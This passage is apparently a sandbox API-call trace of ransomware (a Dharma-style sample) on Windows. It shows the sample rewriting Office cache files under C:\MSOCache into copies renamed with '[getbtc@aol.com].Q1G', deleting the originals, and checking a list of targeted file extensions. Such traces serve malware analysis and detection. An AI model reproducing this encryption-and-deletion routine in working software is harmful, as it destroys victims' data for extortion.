users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.256] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.256] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.256] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.260] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.261] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.424] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.424] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.424] ReadFile (in: hFile=0x1ec, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.440] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.440] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0048.765] SetEndOfFile (hFile=0x1ec) returned 1 [0048.765] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0048.769] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.769] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.770] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.770] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.776] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.776] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.778] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0048.778] CloseHandle (hObject=0x1ec) returned 1 [0048.779] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.779] lstrlenW (lpString=".doc") returned 4 [0048.779] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.779] lstrlenW (lpString=".docx") returned 5 [0048.779] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.779] lstrlenW (lpString=".pdf") returned 4 [0048.779] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.779] lstrlenW (lpString=".xls") returned 4 [0048.779] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.779] lstrlenW (lpString=".xlsx") returned 5 [0048.779] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.779] lstrlenW (lpString=".ppt") returned 4 [0048.779] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.779] lstrlenW (lpString=".zip") returned 4 [0048.779] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.779] lstrlenW (lpString=".rar") returned 4 [0048.779] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.779] lstrlenW (lpString=".bz2") returned 4 [0048.779] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.779] lstrlenW (lpString=".7z") returned 3 [0048.779] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.779] lstrlenW (lpString=".dbf") returned 4 [0048.780] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString=".1cd") returned 4 [0048.780] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString=".jpg") returned 4 [0048.780] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString=".doc") returned 4 [0048.780] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString=".docx") returned 5 [0048.780] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.780] lstrlenW (lpString=".pdf") returned 4 [0048.780] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.780] lstrlenW (lpString=".xls") returned 4 [0048.780] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.780] lstrlenW (lpString=".xlsx") returned 5 [0048.780] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.780] lstrlenW (lpString=".ppt") returned 4 [0048.780] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString=".zip") returned 4 [0048.780] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.780] lstrlenW (lpString=".rar") returned 4 [0048.780] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.780] lstrlenW (lpString=".bz2") returned 4 [0048.780] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString=".7z") returned 3 [0048.780] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.780] lstrlenW (lpString=".dbf") returned 4 [0048.780] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.781] lstrlenW (lpString=".1cd") returned 4 [0048.781] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0048.781] lstrlenW (lpString=".jpg") returned 4 [0048.781] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.781] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0048.781] lstrlenW (lpString="PidGenX.dll") returned 11 [0048.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.781] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1463568) returned 1 [0048.781] CloseHandle (hObject=0x1ec) returned 1 [0048.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0048.781] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.781] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.782] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.782] GetLastError () returned 0x0 [0048.782] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.073] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.090] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x65520, lpOverlapped=0x0) returned 1 [0049.105] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0049.351] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.351] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.351] SetEndOfFile (hFile=0x21c) returned 1 [0049.351] CloseHandle (hObject=0x21c) returned 1 [0049.352] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.352] SetEndOfFile (hFile=0x1ec) returned 1 [0049.355] CloseHandle (hObject=0x1ec) returned 1 [0049.355] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.356] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0049.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.356] lstrlenW (lpString=".doc") returned 4 [0049.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString=".docx") returned 5 [0049.356] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.356] lstrlenW (lpString=".pdf") returned 4 [0049.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString=".xls") returned 4 [0049.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString=".xlsx") returned 5 [0049.356] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.356] lstrlenW (lpString=".ppt") returned 4 [0049.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.356] lstrlenW (lpString=".zip") returned 4 [0049.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString=".rar") returned 4 [0049.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.356] lstrlenW (lpString=".bz2") returned 4 [0049.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.356] lstrlenW (lpString=".7z") returned 3 [0049.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.356] lstrlenW (lpString=".dbf") returned 4 [0049.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.357] lstrlenW (lpString=".1cd") returned 4 [0049.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.357] lstrlenW (lpString=".jpg") returned 4 [0049.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.357] lstrlenW (lpString=".doc") returned 4 [0049.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString=".docx") returned 5 [0049.357] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0049.357] lstrlenW (lpString=".pdf") returned 4 [0049.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString=".xls") returned 4 [0049.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString=".xlsx") returned 5 [0049.357] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0049.357] lstrlenW (lpString=".ppt") returned 4 [0049.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.357] lstrlenW (lpString=".zip") returned 4 [0049.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.357] lstrlenW (lpString=".rar") returned 4 [0049.358] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.358] lstrlenW (lpString=".bz2") returned 4 [0049.358] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.358] lstrlenW (lpString=".7z") returned 3 [0049.358] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.358] lstrlenW (lpString=".dbf") returned 4 [0049.358] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.358] lstrlenW (lpString=".1cd") returned 4 [0049.358] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0049.358] lstrlenW (lpString=".jpg") returned 4 [0049.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.358] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0049.358] lstrlenW (lpString="setup.exe") returned 9 [0049.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.358] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1377656) returned 1 [0049.358] CloseHandle (hObject=0x1ec) returned 1 [0049.358] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0049.359] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.359] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.359] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.359] GetLastError () returned 0x0 [0049.359] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0049.385] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0049.587] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x50588, lpOverlapped=0x0) returned 1 [0049.601] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0049.610] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.610] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.611] SetEndOfFile (hFile=0x21c) returned 1 [0049.611] CloseHandle (hObject=0x21c) returned 1 [0049.611] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.611] SetEndOfFile (hFile=0x1ec) returned 1 [0049.614] CloseHandle (hObject=0x1ec) returned 1 [0049.614] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.614] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0049.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.614] lstrlenW (lpString=".doc") returned 4 [0049.614] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.615] lstrlenW (lpString=".docx") returned 5 [0049.615] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.615] lstrlenW (lpString=".pdf") returned 4 [0049.615] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString=".xls") returned 4 [0049.615] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString=".xlsx") returned 5 [0049.615] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.615] lstrlenW (lpString=".ppt") returned 4 [0049.615] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString=".zip") returned 4 [0049.615] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString=".rar") returned 4 [0049.615] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString=".bz2") returned 4 [0049.615] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.615] lstrlenW (lpString=".7z") returned 3 [0049.615] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString=".dbf") returned 4 [0049.615] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString=".1cd") returned 4 [0049.615] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString=".jpg") returned 4 [0049.615] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.615] lstrlenW (lpString=".doc") returned 4 [0049.615] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.615] lstrlenW (lpString=".docx") returned 5 [0049.615] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.615] lstrlenW (lpString=".pdf") returned 4 [0049.616] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 